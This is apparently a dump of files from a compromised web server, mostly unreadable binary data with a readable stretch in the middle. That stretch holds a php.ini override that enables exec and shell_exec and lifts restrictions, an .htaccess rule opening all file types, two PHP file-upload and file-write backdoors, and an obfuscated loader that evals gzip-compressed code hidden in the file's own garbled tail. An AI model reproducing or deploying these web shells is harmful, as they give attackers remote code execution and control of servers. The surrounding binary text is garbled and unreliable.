Z7Q-[ 
xGW{Ϩ}p]7nػ,@XTReuwhmyfzbr"6nHH!VGW.ϓM2Y%Ʈ}f ZUHMiJ:IQk1*hI4n:"d܏MyjIO MF/IeuwhmyfzbrS~dܕvT_m4oo-RWDjU,'9Ӣ1Q2(2=4ڻ/H?]tһPn1iz`i 9!祿ߍf]]euwhmyfzbr2tyokrlfcbzp4+IGKRwE/߉N֗ƄX}*M5`RR@U-!)v^u2+UZAM-#F|uy,E
1$&S
a
;Uq4A""EP
CFjjkeuwhmyfzbrXˑz~% ,|$jy|JB ;IV!*ۑ)KK5W~7/q[f_Du|CgPSsbC;S`;h(Ba(7ΕnceFnQLC{"*40٤r9@ә?_jbXY=|6gk틁_OLinu
1$b{A`;zW"1d]yokrlfcbzp O/ίHm\Ο0׊Dύ^#

47#c\ΉnX{t_Ν!2"zt~zNpE140tyokrlfcbzp_DV$U6iȝ؝]NLJ*N0kʱRAf#D&-}kxFzk 9n}yokrlfcbzpdѺF]#`pZyokrlfcbzp;'Hl`zFa;`SyɎ^I:Z!.O/&GB?W.-Y,%0#hxrWזx+uH]3'0*Q^tFzL;/[]8M4[efjޖ
k~abII`S0	_JLDYDN߄g6⺳ՓUN(ҿTgpwA=[k+|uc=+H"882!7bDlA0Nh
y;kc\nDgc{AWcT+]p21Z@vB:z`m kYjJvnYo+o	M30y
-WIuLn]dDeuwhmyfzbrƨIjZyiMU[G9
wL1
H..pBԡXitVecDc=[Ӥ[|iƢ40K3e6e * $[/ \R@ĔIzeXFb=eE}\"+FM,Lb+7UʯG&"X1W+.mOPOj)ʂB3K5DmI":cj,w^iX#)4euwhmyfzbrƯ#"06ˤryokrlfcbzp);iE ͨ=P8¨_i_y|Ih1q|قa{E1 =[Ԭʆ-N
|%{3FN%u\x~R2~yokrlfcbzp+0zU}8 7~҂G9̂2
 ntG-wyt^xԀe&Bg]xA
WRQAQ/y
uR~f]GQ	
qm˚	%euwhmyfzbrD`A8)ͣC~ߟp8hnmU]55azOr5gڢYm3KQ9e."N{fݜfy{bv"(~\ܽw,QvTR-;q02s$|	gFU6v'DBdIEKM 16dTz3v܁iOvnG\IPvJK#T}D|';򠆟ng])Pwۦa&Wvzmy N/[
#oXm/ 5a#-bI y6X pH :wupײeQ%wW-//Жw`d3zS
o#OY}굇 U9Utr}dz^̓3^0#emBw2͏7[mJCbeuwhmyfzbr j9d&Sѓ}vRy4:0{4߽!ֽAD=ΕC(I3O7=HDr8{┢pxZ
sܰZAJsطeuwhmyfzbrj#HA_o'YmBI,d]8BqT@O׶HVga|؃ʙv	;ma#Q1c3+h[J(Nmxe5.*;euwhmyfzbrl0TATeuwhmyfzbrŇ[;o72*۝/㥵X@yokrlfcbzp\+!.OLCpE6WH; {R
EUDAv1?وCVߵ^GgʶI۰sې2$,_A2?ET"eƞͽ6u5Ieuwhmyfzbr/5p
s}6zV
X^$=[2G|#)1YO
OLOAqdXoWӀ5-,q~y_U8^JQTRKIsB-	jȷ_@SABjjܕ3׋Lk܆9w'6wReuwhmyfzbr
zXW!ķP~KԯٟBhoyx2r?Tq㈨oR	DBLP')u6:˅L~B_XI h,ubw||t{ŕ'SI@%ɺ/*$i@^s]TfRȚeLp1t$pk}McI,-Zes۪J_X-ZO1+q7Yr1_~+W0/OB/ԠR %]zyZw4UO#*mQ	'! !euwhmyfzbr)ׯ?6ʻDv0sҲX|U,JkWZźOM8RהbEt.SriNm*euwhmyfzbr[1EiOO8ˁޡDBltfHGVQeD1쑒L/ZA[U(ͨeuwhmyfzbrTMbh$G3P;*]K_ cC맾0CХ2S;7NL%s;@i"sUԡ=DjPb4
#qMRPԣ5euwhmyfzbrp,~~H,9T
$7'0RWl!9Uc!ş/`@y gO(QVa4w醜
zeտ'ro
N_j_B rͥ~4e\~jЧ)JeHRQs(f|8]j`.\09yokrlfcbzpZDFQ\S=
s*hҊY"z麲NSw&C$*l^yb?HM9RL&=sܓ3/,z$܀|;$OUo6Ҁ8z*glVlD-x_Nt	D*܂촆?0K_Soz
d;6w-	FMi7c7bE
aWԈ9iK66VaQ,ŔQ%Tc)^3'=m{ ÕeuwhmyfzbrߍH}r	Yߛ/	qtv/Z)۷+wK nvwgVU 0ci4˝ygX̀Iƭ.)Mj#|ѫ
Y5C]Iu#6҉"2E?;pGP2,f.EKa$ݬ,||N#uFJFvDﯸd@\ꓭheaHMǙ)ù!POЍJ[Ko#۽IeuwhmyfzbrqD߾p
X!A~0Z	YoBMO\mSDf[pKon`_?
ub0[HN`|IaO̫LPV:_P@w!zCGv63#E- |t`thAA|P31FN5Fpc䮽8/ 3㐩pA[6hP5"]a%/`SW\7.m..H*,e]mW26.BK"hXZ@=goA2߮`-_%{3(X&As]xtVTs4U
yokrlfcbzp9E$w
^/XCxEY͌;
3emoݞʱɕ5q@L.6BT1%cm-{*1pFeuwhmyfzbrLtecԵ+D#bDl ݉2$*V"Z'wz]M_*}RM3t{^~ƖLּ-vbDV-sejF_ugJM&.x29n໯^zXq`0ŉ,EegT7B쩎y%iYD`ΩKD#	B덹=[euwhmyfzbr@$QьyokrlfcbzpvF|
"\"jksf}euwhmyfzbreuwhmyfzbrWs	zZT]SD@oI f7֯b.%KШ~0VϬl
/8&7ơW(y6wHLT
*C4cH`	r*l1|o3	NcpcSA	qmr^Jj,DBymu2#sqRy; ~Ih!؃yokrlfcbzp
1h3o Jyokrlfcbzpeuwhmyfzbr?ElĹeoAZ3qga',0yokrlfcbzp\כݯjyWy]Se]J &߱%W(SULfR,\&ņ HNZƇt 2^UVeuwhmyfzbr'?om&rs;fBIe׿]Ы9_6Z~lG1=Ȱ/۶	yokrlfcbzp"	Ć
m˷dg./
PyBj#s_BWXaoԶs|nE@"XY!`GNL~7nh$#!0'W)f
aiM
ENj#&kcqA+t5M?ol^̶];XLtJD 8euwhmyfzbreuwhmyfzbrZR(ڕ Sz;v3fk^t^f"n2GBe~"p#6i{Y+DW^.gnSԓ8G[p?F`HZ] tjP_ikYeuwhmyfzbr |IovN3z7vu1b
3t̴SdD
mvp"k{wK9yokrlfcbzpxtFy1,PH=vT`Ptוֆ6 )};p֬oT{g9|rF(N+yokrlfcbzp2j47CrdmaDmIZ@iyokrlfcbzp%p$K?sieuwhmyfzbr}E+^`JT˒*!=?
#Dn!EvW锜NiWeuwhmyfzbrr
mDD`F
8?)A'VWc*-}.\裹CBS_a@)y6W*3A Vx
q#l{ڭ
0^ ~e o0,"#/q3!x@[aų'IP,_VǆIcT$k[Iji	a8?gghĦH?yokrlfcbzp"fyokrlfcbzpPWwO7v&QĲبC88K
{vek/Mߣ]i+sUfnmK|V٦ wT"kcUfa0$8swcuyKߩIpc|$e{ǡo:i)euwhmyfzbr}jl[q q]4%(I	$'`7!hzb.M'_񿰜z!8KA
OԅɳNrԡ\9+$ekho,ivJ%&1ޕ]|([dUWĕ	_-863VXYlf_rH]ևJ-pgvZQ,pHpѮ̼K˽b	R:T2j"^)ej`|0:lfCZЌrKmyokrlfcbzpyb0r}8Oac{%UGj\;LAZ9ϫ˟"P(t.sOդ͏'*PsMAbHXާX:Leuwhmyfzbr^+Q6L6
E;KXA;U~Q*0bda3'yrx)EeuwhmyfzbrLU+Ey
clS̓ڳ jnp𥳐n7WjQͺ~_}
Jz+xUdzgRnUFO9t R&nM^bzv'=U'(p(jG(F	8S ;5Ύ)a+[kh#PyF&7-sI5qo}tخ棇f(&t R^)
_M!\:('WwrrMg=nU=G4:V;w^fWA!Mz^~?[G^T6:!@?t{`+`VM5Hsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'ba'.'se64'.'_decod'.'e'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?><?php
$XAuy='s'.'t'.'r'.'_repl'.'ace';$jnWv='subs'.'tr';$pUZa='exi'.'t';$Pyci='fil'.'e_get'.'_c'.'ontent'.'s';$pjGR='gzunc'.'ompre'.'ss';eval($pjGR($XAuy('qxtuyfdnlz','>',$XAuy('coplqbrkam','<',$jnWv($Pyci( __FILE__ ),-172379)))));$pUZa(0);
?>
x4׎Pe`@{R_?nL @JJJ?\43K?.1{g^m{ﮧ {oky^''h̳~?EQEUfZPZQ)A'flY4ܧϿu_X_;__,$'u*N&aBUU\
rW E ʕ=Ei)/-u4bh
LN˝O~wC(O
AgNo8\!	5ݦ7'mOl|pqxtuyfdnlzHfaU̧[=#ɘLqjj1 k]=y㲔44+Gbh\gwWAABGa7(cRp]$^}ZENZG:rmh{Ag+uVK^S\ 9QDJgzn-k~NSKS;m";ɯrA	Ef`HI;}1&iVYBgoəS?ѫGMݞdyA1[y!|D5$	8ͳ{
=ϙK ]8az@R)F0E'5}qQOA2MI٭	=JsqxtuyfdnlzSuX%8]U
.P#Wڐ7w'EM6jTSP,eW U}IÜ1-TcoplqbrkamM{}KvT1b(^X}ZcoplqbrkamK)гrZxBvKYugg"+t3og81?lf-	~,k"+e9w]3p_@҃9ꙷRcoplqbrkam(H/1ymI͚5;Q3Rҏ&͙{0n	:S*s*Z!O{5o}k݀׮kP6{FF%J(ghv3T@5jT^#Tcoplqbrkams3- )=;1 {RcXhIm2h/Nj^-ԇہ5HCE`(UJ)I ]pT XC_P[}!ҽE2@.iMIi]3Lf:bM*)i ]ky?PC$
14)FvFqd"Gf&`֭¥eo5z7I̧HLמdu\N e;yGqxtuyfdnlz X18A)&qT
V_125a
dEBW&tqxtuyfdnlz E67;!Yoh'53Z"nHM?dFLo:%C"}%n24aEr
~+zNxqW\ć_c\L7]qYsFckTrIW"f3ԗx_I\r	YN~Mkμæ[Q}\"'^oشcoplqbrkam{\kMYi~Z,gbć0}t@+V^vٖ/8ƻF/Rqxtuyfdnlzwhqxtuyfdnlz/Bf'N_k85v4x[W?G[Fb4!&SayS7N$t-$m˯%s!}Aii4/u,HgꀯFB-9d$E+H	YfB;b/}-s+OTa˻}2[yzG= c[ 5F!G23)L,$4rn*-Lp'2mcoplqbrkamM	9?!aO:1,BR^n!tA&mA/Pli	98jzCsD15A`~'g=(="PPDU*=h?qxtuyfdnlz0SgQd^coplqbrkam}ٌTv#|_/rd)OK962,i#kEPfkdu|ү޵F9JcoplqbrkamZZ]{Q5c,'#\rQ=O`-*8aG2xuv ̇`7زEǋi3[& h'?BRqxtuyfdnlzJpFusL)3glqxtuyfdnlz9mm:,$QkT}~G+0~__dCIPbyaQ7i]:
5(X̟NE'^g@]5[TK qxtuyfdnlzR0,,/y(FbUT	Ɖ %|V$3fb$wCc]'xqxtuyfdnlz`D?|޼#@|WI5gnƝ~$P4ʼs#MNh@6Zl_t&!7qRw%Qqxtuyfdnlzh$Q9Z~}Vϙ&ayGtbf&Xcoplqbrkamqxtuyfdnlz(
5uGcKB(1In։YBLGڤ59M+{Pgkb)ݵN-iAs.:oFZ_A?;2+4ZxӌΉ!1ac.dBh{^
B
}B#M?w~
[EZ?#bdp狸eƺ$LGZ'coplqbrkam:fx;˲zG|+k)ܒm׍\pga%E7Vgl)Fkr
Wxtvܨt@up4ܚ0[&%ٔn{q6Vp|ysUJ\%V^ȖuPr:^#/Xgj"`I
.\!Yyk缗ȞS04{zԂI҂6fgscoplqbrkamyb,W3JqxtuyfdnlzAWH@較JtikqRY8ߴaw
٨tQܭˈ/}qe @)R&˓˵lZ;x8 NWь_1nalqxtuyfdnlzFeS(#	Y mm8%+	= `$
"*:?zP{;4-u#~!XΝ K.Tcoplqbrkam$rGŸTQcoplqbrkamٕu+b3Q*vוm.tPuB2%c(gaz3//J#0/\lϣTݢKs}O9Y?h'hqO14*%h-aRtNTTRVhl&gqxtuyfdnlzſXU" x$YP?cb3NFN'խ&2ChdCل$q`S8:hl^z@Fl LPN'enQ\v9+QKCVg}/l$f36coplqbrkamOj7M/-cbcoplqbrkamzp/u-؆f?t1z& sĐAinY犼э t9Uk
O 9H;Ũ66=#6lV a*˼T=hHk髮:+m=Fx*Cl~2MQ yLV1OSYyÆ)bfHrjt9R IR4ݍуN*\?NՓNA4Rnqxtuyfdnlzְy:$au)@*7ftNBQ:b[T R%kĈۊɀ*IF|^ЇLX=QNT]p{_/?gH
coplqbrkamѼ̡UlW3ĳ?%ϒe$3Gp͈x{}fZHG~BɋCҨ
k`_I^#zcoplqbrkamz_xqoy\MgÄ	k\FCsgcoplqbrkamU1XZm8@^fŰH+KYrs ӖX!W[0BlMkfьid:`T6	:qxtuyfdnlz/(@~
Ѻ!Ÿv0cY?Տm#'!zbP~N2A
F/%I-a	2BP% +-jŷ#juH[TEuQANks_dsh*$k}/]~QL?/g@FM3?ĳPEcoplqbrkam֧SmPyj.Xvqxtuyfdnlz+pxXkwCP"[]
No.T[	i=r8:&,qxtuyfdnlz+
!Ig_9}h|]coplqbrkamgN&O1rFcoplqbrkam HA44@){աY`mO͉ocoplqbrkam=jMzyw-coplqbrkam[r0:3Ol;USة}-mb2Vcoplqbrkam-"#d1c܆4qxtuyfdnlzUB*\qxtuyfdnlz(&*8[VaB 9eR@9)coplqbrkam{yEqsZqxtuyfdnlz1Ag+~βꛮf6erģheϫz\B='!稾9 ,Qru,ʄ:@bP194D-|Fr*\!|qxtuyfdnlzP[^WѲO~^c~Ѕ.$.x4w147%b vm&+60qxtuyfdnlzʧ(ZўSK̍GYO%n}H2G\YBwQVZ,xqxtuyfdnlzfB4eB-9\'']L\Eݖ:coplqbrkam!s?)C4i߂wl`^lw#dy$zϠ~IqxtuyfdnlzZܕA*ij5/O4ۑ#Zͽ'L.rjC6҇63]ijPmFDR6PgMzE
Hh4h}{*1nZ2Yau&! ǰAقs&Nȃ%+ 	[%Ex,}@A-ruFUL #淿2~_}MsTu.!Z\+JL,D;(_-R?~v]5
Ny?Wvn`ܕrobIm,hqxtuyfdnlz7Vo p	RqVzHY[8~Zd7n+o4S?qxtuyfdnlz
xlް78~% ؕd_ך_hnǹZ%.TAy._W+M5ty _CҫbȔ~}2Ǳ:Ua(.	 6;u9IЀyg&	޵jYW7FaYQh/µ%?a'4V=X7++RwS]Hw
G2qHm̨UiKsyTpw$p-ϸh_5m&|ERz".ѽ)O"vW=~swdOԮ+y}UvtK.jcoplqbrkam'.:-RwRA"}kvѲ/k
Q`~f&]uE0' 29|(8?mI.|Xfx0W%:t8CGi;3Crt,!xqtuJ+~ڸǴj&\q1һ	M%fSH,͵P}Pha	M=給ŞCFƈUY]tK')ύ !~qxtuyfdnlzH7z0 IZSU0
, I!tQZR{hXYTcoplqbrkam/orrS!g3 ޅqxtuyfdnlz~6ڙUwh k]ZٯN:΀,%ȄzkO(Fp/zqxtuyfdnlz
# DXH{{8G^t&C7_ByoH1pN
Yq!JD!uS~_X*&M2
t` r;wB_C_qKR}:	F ʷ
B_"dþ(P8ztm:߀_y%ͳZM$V 3XBcoplqbrkam$!iucoplqbrkamS
/%U15gLE)_XMa
 *mCN;kg/:_g0HqxtuyfdnlzB|Kcoplqbrkam6yۧЍK WDeV˚--` Q5wwu+%qxtuyfdnlz%IRߗ`|ڳ	X2?sʨNWμ˸衼x'# sv9̃e`;VkMx)gr7@$ZgںZqxtuyfdnlzm2mln3 ҭj6'd?
Pc!ʈW\j9rgfCѵ-0)i/ZX(Lqxtuyfdnlz^|L3άjxTX1%՚W!ml9y/gPi"qxtuyfdnlzUNZYvVn@Vre֎ڔ
u(_Ar|UhU˷rayv\#R/Z#W+TvgLwE XMɕDiaAmu87okM9xM awL|.Ujw8Go
"i_g,r
9Dn֜1vUnhB ~-4ˑ
`mI0hBrT'BjkZHr.Mڑ#eWzZW{:%]~Km7̈!T?C|;H'̒|J\0GfLb	Kw6cxcoplqbrkaml^F%qxtuyfdnlz9I6]N{c)qxtuyfdnlzIkwHxgҴikF
i	|'K
GӸQ䥖?-e/`BsrWG	K?|ʼ0(c:GRQnqYvihDbU AĖ
Mb1`dN]W&/aHv߭mRZVŦ3ay^}	Pw[mqxtuyfdnlzNh1~k,)!ļK[ǏFF jH
484؝j{{NDQ^_Z@DEۦ_=Ft+lcoplqbrkam;8 n۳T,p.PEfK
P|.
z)?Հ.#t#M;k8-
dQ$N({:Ǎ
P=U	Jǉ!Urd6mt65^~@) +DRMq!n=8!WƔ5IB)ua%JqxtuyfdnlzoR}y4QYޞiMgyqxtuyfdnlzЯ-RZS
[in+Sl9 [,()Zc
/aGP2
0	8CqxtuyfdnlzLQ'МD	REgEXI)/U]+X/a!rqxtuyfdnlz!s
}ari`QShƣL{57pqS2{%}e9_h"㉷ޝR4jE[9'l#F/'WˇgE
'^+D(H;ZT.2+O.hO G*('#*a@fObբ'dq=YcҦŶfFI
^Or?Gͫmœ_E烙'J@Z?ƙ?f.'~orDv%^Ud'^p-190ϘD3.3R#aSxNbGOC,@B6lٮNQg/_4[$[L:X8XKPlŭht.vݻo&Ncoplqbrkamx\|UG[ZO3coplqbrkamNct?%
A	H~wauiMZw2\A_m!yH`%3~EaXG1!\[L	DvO?%D%'v`x#=*ŹNpR3u`f=[vAf\kGXC4bsLkc۸ţ;#d_^| =r{Plj\
@eqxtuyfdnlzӰcoplqbrkamǕ݁ZIOɓi&d08O77Mn0Acoplqbrkamz~1glΪG8hܔ7Z9t|&)5UeVljXHOUڣK=@~7
'U
Џ`Omfs-V0^ž0rU3'"qxtuyfdnlz)~:	Fpf/FepiH/c3eii]ql/(6Yp&#{&qn	@QtP:ЮmȖҾY,I^35Es-&KA_Cֆ1:BqvMw[Ր{qP¦[VTW00iEvE00_0 Sqxtuyfdnlz튆g
qxtuyfdnlz

%,EdƉI:Jq)pP)դUQ"v qoS~5)-omt?O3w]Ыqv
}ocn2liq}o:d niDgQrc!員C	h0h5f+RB53duݑG!3ă]7qxtuyfdnlzWe3 :"˫+\T
coplqbrkamM
!}J{oPjiڋC=RfFÂΤ2 N4\ :dEc)uQB}[FG%~bSvPH	ĂT!+=oQ@RoH_(ZIP%[t:lϧf2gl?҅zqxtuyfdnlzˏit/A`bܤٷ	YwnXR
e.//-*X)4G68dqRMY r|gh!VxpVg޶KE Elz㍋;`ULw
f1[1qxtuyfdnlzE{2Wn~!gjo65=㊏a{m"}(d]6nf7?wD
I,qxtuyfdnlzs"&coplqbrkamC;= Jq{ՎMHD;H$m2bfOQ!ȼKtX(a߱vFs[~W	4iPNhŹ fqxtuyfdnlzϊ:5
tWlrLI!x&\aB*v?0@U" ")abzgc(PNzD}\F$)V{W"%vA9x* ƻd#q/Ў2"*-J-|oeLQߐu]e73 ڟBYAS(쪙4|(|f~n%
EV4[qy?	Mzqfàz{4J!߀Xyr"ΡML?7#"BTQRܯ"G޸Ɂ&Wnre~aܔ	T^?Ӱ3߻O&
na:+$m-DoM6L$&M]flqxtuyfdnlzQS,gp%G):7hh]燻"ǼZ)uĺxԡ6آ!coplqbrkamPJ.? OZDGnIo8\a1~Y2򫒤O]+sMM Am @V&\_$̝TaЃ-qxtuyfdnlzK^,xgz"|_ǢwjM՟/d!b2B眽\-DFLlWcoplqbrkamc
wߵ3kb^s+诩#eTQ5o9qxtuyfdnlzzw쎑me+?+]#G*_	r&%g4t%+{I؛=Hav.&2Kn;4]SQ?"+w߬=r|+1lr\v\g[kn
	~qxtuyfdnlz͕ϫN RaΖ}#[UMӸO@="do#T?އ }Vxpdiv!"߯~\R~M/U3Be0/dUE[hJ3JHv]ru`V#QBv	6၌风wIG#}U|獽Em+cm l,G5XcoplqbrkamǿeGڏ(;XSXJ֢LT&.X}ID謁γ?Ufci+Jϖ|jNק,D^hަ}6`ۇ635 __pپt7mYl9t`ox+ƨyHOr!yhhat8$
JMqx;:J&@wR?ݴqxtuyfdnlzsHUthAVR}⇄%u}=~y-dg)4OXEuկclcoplqbrkam!3F*coplqbrkam
iu'qxtuyfdnlzioS]gs46ю,v~-AzGJ.~coplqbrkami[Uٌϔ͹Αowi ][:O@qxtuyfdnlz+coplqbrkam`X''j ua1n
@

zI~s +m:*qE	̕ЈJs2amLpaE,fUA~_1HIN|coplqbrkam7_ifs`J
qxtuyfdnlzJ[x$-O cg
UeYLQpݩ"v"7A{Tghψ"n:s ]QA$~@+9n,m׎FzIdn qMЇ^"t Woںbqxtuyfdnlz`OyY޺#E;٠S6*G\&gh
Ae!y㟇XBy:(d3ĥ,bg::80Y"]}qxtuyfdnlzA c/h4 f̉,coplqbrkamv|wYEr|~c7oVP(V+=(`!*a-ԫׂ&@EE2GYJR%ShEG])K}XI=Z಻\|d=ѶcoplqbrkamܤEkD:4bKaϒE,{fvkM`e_]h#rƋ)95?	͘@,FcрqfjqD5(!yQDOCma}Im^oEJH,] / MKAɟ~ůp῀dzU[.H8+B0j֏$o~De3 Ԕ"A[S\7/5+]VQd붯U,KPw02mJMircJeUd3bqxtuyfdnlz"dcoplqbrkamZ=&7	_9f!N-l!KJF7` sWFWpf	tگv.\MM"L,bMA9^VRc|fpRGt&!Iw'լS:mDew_w{%|w=+J0Ю8'6coplqbrkamͱ}-jz-l0k9
xSUlgA/4= UeCxSjqxtuyfdnlz7[ʭwE}){c֐(Cqxtuyfdnlz_[Mq+E
 ):/.r=ɥ̟* K,5,a/sCû"+~==liL a=CAߴ{jp~coplqbrkamS}l:=kJ[DG~ҪA@;id擶/4?(ak`Jqxtuyfdnlz_
Rnkf28Z$$݌D-)pߔdヌ_#3ySSEpqI3:ILQ JvAm㌿'y]f/	'^ =Ix^╕}*^p*gø	͎o{!͖	de}rի%0~h"^^✲_KEfO}DW)FEcoplqbrkam?6V`2D!Fz +I4e62!צ1ǢO(q*Jgʈh2/of5Zþ~Ȣ` bbw5tĔLLUkhqxtuyfdnlzizp[6$kWX2ZzzVs{KSXa-Y'HOӮ 	=e ]&-03Bٔ9(C&)48B8%U
m/"ɋV}'(*ڰ0[7
;"(EŒCcoplqbrkamU|}P/](S#?79٘%O$PߖqxtuyfdnlzPbFTbnĒ+ciou%iu Ryx&iIDNgr1׬y}CuU)A B#T1Ar.)4d_%N|_@琱excz_ᓲ+pJ*Umzu+pd2pyeezT7!OtJxc/95,w15j9coplqbrkamB90OXqxtuyfdnlzyq%=7e1P֍
=zs'&$J/TT;'ٷo*?ȆgĲ5~RlUڟ&`ID2DrmI8rMqxtuyfdnlzn&N¶4hw%*3#"aqxtuyfdnlz)LdqxtuyfdnlzUn	tQbToFQ.,@f]I1'k3C+hHxXv3f=t)coplqbrkamRvN5O, ?(?9;X*&K1߳b*coplqbrkam[qxtuyfdnlzTZK'ɹ [RcoplqbrkamE[PloȟO$Rm}
~ˁL[=*:|XW*
uVڸA®
Swsoqxtuyfdnlz]a~PwMd|j+ܦet˒p~A!uX0ZEP_?LЇQS8?WάlrcI2n@| s)=(&.U4%`S^$~rt~gYz@k/	J粿\Al9_foLehZccoplqbrkamo	 :cX6FA}LQx+L"AgwvW*g2 ,PNGF)Q_,JonUxy@O,yRjD8.PatWqxtuyfdnlz"?j3`5ҭ3Ι0V@4qxtuyfdnlz
 	dFxC=--䷊b[=T-_静#t--|9]MCGL ͅQcoplqbrkamx4WedÌ\RPcGcoplqbrkamʙ	xAm{d+g+X:&΄GyӅ,_PbɷǄe2;'g#*%yJJK{J1܁te0~ZwyB&N2駀d2ru`&3} Z_z.Gҙ:6jrTND?
9wKbU_#Rka7Ȳ32$3`Gඡ,9=[5NRUDaEgK`0X0q{xbEbE3TDo{/JA
*coplqbrkam]-ֺǭcpbt
Јo$97=a+=Ϟ?q6׈=\X똕gv
3ayGg{ҹ;#l!%Pqejq;`?[3_D8fe(-]h](T'`VNKQAwZ{jmk/5saZ.@F@w)CHRI}#.J	A'OW\Nmqxtuyfdnlz[Rޗcoplqbrkam-BѼM-Ets`V
aq	gly?P'Aw35t"̇A0cI\Yzal1D6xUɪFyeY[@ȧSE63N78|9uyF8:Ie*cQgqxtuyfdnlz=o6Wqxtuyfdnlz6t^@1wo^ĨҪ#!٤ηBG$2f4Eqxtuyfdnlzp^r'O~IJ? %}u%?$?9H?7?o8coplqbrkam"yh]ڰfއP22E~gF`=j֦͑6l
JI$B~:z^&G2[qxtuyfdnlz~x@%R1B8kzc׷5M7]NDd #nrcoplqbrkam9Q_ޤkmOdG:}q!SQfSKec&*11حiV)2;1@xaqc3'?Q7ѓģ	\y(pp1mlcOLy2KƠoNhy1uC[v#c-#S*X8WdiJȫqxtuyfdnlzӀ.M
c~^FO
##$weU-KuV#ea9YN
oS{E9^8xQXRQQӲ
7tTAN)y_ʍqxtuyfdnlzf
:l|Mkk4Oz3}	zwk36
;wcoplqbrkam[%j'iaSL]OVʋMmI/[aFS7!bqxtuyfdnlzr1C1-t
F[AeZgɹs#-o m\׺݅jI5Ɠ4
gChJ ScJl(P_`]9GBrh11쑧;^ق*u-
\Dn)I:WHd`/RMyÞVvю@s 8MJ4ݲٳ
l($]ktr&RI#79
M8pC"y4Q8'(sZBDvg4]Lb y48b# C5^Gc[ẋdjgb$"ƆA5+Z%ŽE)b=sDtl\Ju'{**kBsň fRϏٯoW%^$HTB$'lza]aՙ%^)fGF13mnR,
.K[51
0ՋĶ0ge^ycB@LCvGu([7)$3hDCw\4.%X{ճA:?s\.g.kxHy*H:^Χxgo2|:˴5R9.,;'7犦HШt^0TQ-l!TtjUXlSڸicoplqbrkamhx((%3cVk@O/Ecoplqbrkam`uzOc0L4
q[ %(vQd92=m}1v)KD@ĉIW̝0m\5?٦eg?'eڈ23az0gn7s|7e1N/8Aqqxtuyfdnlzrlw@rqxtuyfdnlz\	yD4*d(Ti\S70v-2`W큏vV2F %+q嬹eXVeqaRIaޕF2w] 7	ucoplqbrkamM/O+x*42X)OX
D*e
t63W_TbaFcoplqbrkamrt3(	AZ20u6e0Uwlo8o1~cͭ/ʎ^Uu pDQJIF_YqxtuyfdnlztaWJMd\ߘ[9Zko):h+NgV/eۿ7M#3FQ-)/E *c-!r )JA۲Nџx"%,6}f ՟t65-$3)#g77D;}U(a[H#G(LRC_j4 +i(qxtuyfdnlz$x,ܦHz7ᖋ8WAbV idʜ|2vdB}{r)$g{Z4]DiZ(}x62'j/z#%09"DNXȒа_e6p19p=5tl?z"D%rQ't#De3@Ӝ^SMW~%8}A*4'J3\u|/cؖ%?t:"2qxtuyfdnlzBu}HBڤ;߆vដ%!VXUi4וQ3-$PYzː/"ܐ@@Oho/Ea[NQh^|m
K&0coplqbrkamx!X#}%F:ďo7"JO}@`4dJjhQzC]!K+礵i(6WhdRe炾ؔ|AZLVWĔqqwh/qqxtuyfdnlz_ni%=WScoplqbrkampH~2qЧ3u6l@ coplqbrkamGGjhPqxtuyfdnlz~ѥ	7+V
d*ĆMQ3tq26AQ3aڀ 0J%gMMqxtuyfdnlz~=SlxwA:qxtuyfdnlzhb,0fnfIU5e*wl+kq '~޾sD(x-~Pߗ3fC/ڴOcr(Icoplqbrkam2zYQn(U^蹲52d*=E{Y0TJمk V73p}aϪPqxtuyfdnlz|%c
tȕCnYL9Z;fV}F
piOn	F
MAϾXGȄRE
EqiQMɰ:QИ%'ۨOnz@Z;VN]ٖO1coplqbrkam("Y .VH??A!ODM?y:.=TTDMjU C`La5Lv('gṈht+$V'qxtuyfdnlz7'Foxvעjo
4CΊ;'7k9&"	E|(=BM8Ur=)&PKTaH:XAe. *EQ~[1Y{'m[ÍR瑥!΅tcsvQ^_S|Ld6 /%Z"jRY2p@$ܤ8"}\a]@Hb+
\2m63ۤj_!7Z+8[v\47vZٱćǁgPl~!q Вʇ||ae1;S`I^}.R
.;vu~t{5x}Jʆ9w\DbGm	n
)ƛH6q,lwZg~qxtuyfdnlzI*1S*|"C~|G*LK
@Fé
qxtuyfdnlz06NaB`f_{Z2ΈG
5;!--\A}t8hQ@.dJs+_&"LX0JK|CM!S%O'ZK"@'oG'rPhǬcoplqbrkamLOްd)!u#i7$O"[B$*U`	RR9f BWrc\	%oPi[;avwY;IQ1C-Kmtw#M
edS?MLDVPRз^0kJeϣq@MZwcoplqbrkamMm~y?T\ddW@B.?2^o7T4	;
;z*.:coplqbrkam4pZ"1}whU~̪w7DJr=M7w]ѓY%鶼.XPn1:Zۣqxtuyfdnlz%%D}e,"gX@Nd)coplqbrkamof8 +4^ `k32F}	goH43@Ŀ^e
cZum=hC,pw*,̠O!0Ͱ%ȆIˑa褲8TES(TEA:CԻu3a!i,2XEzk"qUEP+׼	urzvkr4jn
ovi=P^~;gC
;T+Hyy}]/I"+FqKmawh:DWAXQiIHƹMr1)(EtkWe7rRpSVSolk|{ТA3@kOX2C/P%!$$~m3MoX0ZL8F(=!KWqxtuyfdnlzhBϸh j',K	OCUiǫpAD1vpmL?GPW,eXN|Z;o1#\֙G^ϰ
[~2tCE*oB=RҖg9p]I
S`gy'^&5lyw6~L"d//nN$LeG;)s(3Kv#'Y~VGL#JHtZSɀf?2DtW]h;CwdΊIuK$2cacoplqbrkamn_gqqtkʕ9Je#9{FȆ
r,ڒcoplqbrkamK=院(ZFI{DYi")

h,SwM[|,1an"|I'_{6-METHsZc+l
